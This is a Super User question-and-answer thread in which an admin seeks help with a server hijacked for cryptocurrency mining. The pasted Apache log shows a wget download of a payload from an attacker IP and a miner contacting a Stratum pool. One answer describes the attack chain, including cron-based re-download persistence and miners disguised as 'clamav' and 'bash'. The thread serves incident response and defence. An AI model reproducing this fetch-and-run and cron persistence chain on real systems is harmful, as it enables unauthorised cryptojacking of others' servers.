Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I'm in a bit of a situation, my server has been hijacked and it appears to be involved in a bitcoin mining operation.

I need to know where to start at least, I'm a novice system admin and haven't really encountered this before. It's blowing my bandwidth out of the water and I'm being charged by my hosting provider 50c per GB and it jumped 255GB ->301.8GB in one day because of this. Any help is appreciated.

I've found a lot junk in the logs relating to Stratum as well as scripts on external IP addresses running against my server. Then I look in my /tmp dir and I see 7 files which are

  • bash
  • cron.d
  • mech.dir
  • sh
  • spamd_full.sock
  • update

An example of the contents of my apache error log is as follows:

[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40--  http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]      0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... ..........  9%  148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]     50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19%  172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]    100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29%  344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39%  514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]  ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    300K .......... .......... .......... .......... .......... 69%  224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79%  347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88%  348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    450K .......... .......... .......... .......... .......... 98%  254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ...                                                100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
share|improve this question
    
You could start by adding the suposed IP in question, or range of addresses, to your firewall's blacklist. Further, if you're able to identify which ports are being used you can close them. This will at least help you better quarantine the situation. –  root Dec 4 '13 at 16:59
1  
Just a few points of clarification, there is no situation where mining should use up that much bandwidth. I know because I'm a cryptocoin miner enthusist. Also, mining using the scrypt flag is not bitcoin, but rather litecoin or some other variance. You may want to look at other things that could be causing a high bandwidth usage. Check your logs to see how the user/bot ssh'd into your machine. Never allow root logins and install fail2ban. –  kobaltz Dec 4 '13 at 17:01
    
Well do you see the 'saving to sh' line and the preceeding lines after? I found a lot of those some that would end in 100M and quite a few of those. Plus the server is a development server that isn't used for anything other then staging sites in production. There is no media available for download from any of those sites as they have no content yet so I think it is this guy –  Mud Dec 4 '13 at 17:18
1  
Your best option. Nuke the server from orbit. If thats not an option start by updating every single running service to the curent version, change your root password, and block all ip addresses per the directions falcon posted. –  Ramhound Dec 4 '13 at 17:45
    
@Mud One thing you should ask yourself: which one of the services I am running is not perfectly up-to-date? Fixing this hole is of utmost importance because it leaves you open only to zero-day (or whereabouts) exploits, which however are in general reserved for high-value targets. –  MariusMatutiae Dec 4 '13 at 18:08

2 Answers 2

up vote 1 down vote accepted

I'd first block the connection to the external addresses using the iptables

iptables -A OUTPUT -d IP_Address -j DROP

Once you've made sure all the IP Addresses are being blocked, save the iptables: # /sbin/service iptables save then clean up the files placed by the hijacker.

You may want to look at /etc/var/log/messages and /etc/var/log/secure to see if there are any entries left by the hijacker that may indicate how he/she may have grabbed a foothold on your server.

If you are running a website, make sure you don't have any web pages that allow users to upload files like PHP shells.

This should get you started. You can also ask your hosting provider to perform an antivirus scan to look for any scripts / files that allow access.

share|improve this answer
    
Thanks, I'll give this a go. I saw there was a lot of querying for non-existant files as well as they kept hitting the php-cgi folder. It looks like a bot but then I saw the "Stratum" string in the errors and followed that thread. –  Mud Dec 4 '13 at 17:19
    
hmm /sbin/service iptables save returns: -bash: /sbin/service: no such file or directory –  Mud Dec 4 '13 at 17:29
    
type which iptables in the terminal window. It will display the location of the binary –  falconspy Dec 4 '13 at 17:41
    
jeez - /sbin/iptables :) Thanks –  Mud Dec 4 '13 at 17:49
    
No problem! If you want, I can also perform a basic security scan against your server at a later time if you'd like. You can also do it yourself (recommended). A great tool to use is Nessus which is built into Backtrack / Kali –  falconspy Dec 4 '13 at 17:49

Your bots miners aren't connecting, so it keeps re-running the exploit and downloading the miners over and over and over.

We recently saw an exploit attempt of bad cgi-bin settings that looks related.

It was attempting to download

74.208.228.113 / a 

and execute that as a shell script.

That script does a few things when we looked at it, it wiped out the crontab entry and replaced it with an attempt to run a script pulled from

74.208.228.113 / update

It also places the same script in /etc/cron.hourly

That script does a 'ps x' and greps for a successful miner connection. If it doesn't see it, it downloads the a script again and re-runs.

At the very end of the a script, it grabs

74.208.228.113 / clamav

and

74.208.228.113 / sh

which look to be differently compiled versions of minerd. It renames the clamav to bash and then launches both mining at 216.230.103.42.

So, if you were exploited in a similar manner, you need to:

  1. disable cgi-bin

  2. check the crontab for whatever user runs httpd (likely root or apache) and delete the "update" entry

  3. check /etc/cron.hourly/ for a file called update and see if it references the 216.230.103.42 that the miners cannot connect to. Delete that one to

It's those update entries that are using the bandwidth. The crontab one is running once a minute, every minute.

However, I think a better answer is to nuke it from orbit. If your cgi-bin is set to allow remote exploits that run scripts, there's no guarantee

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.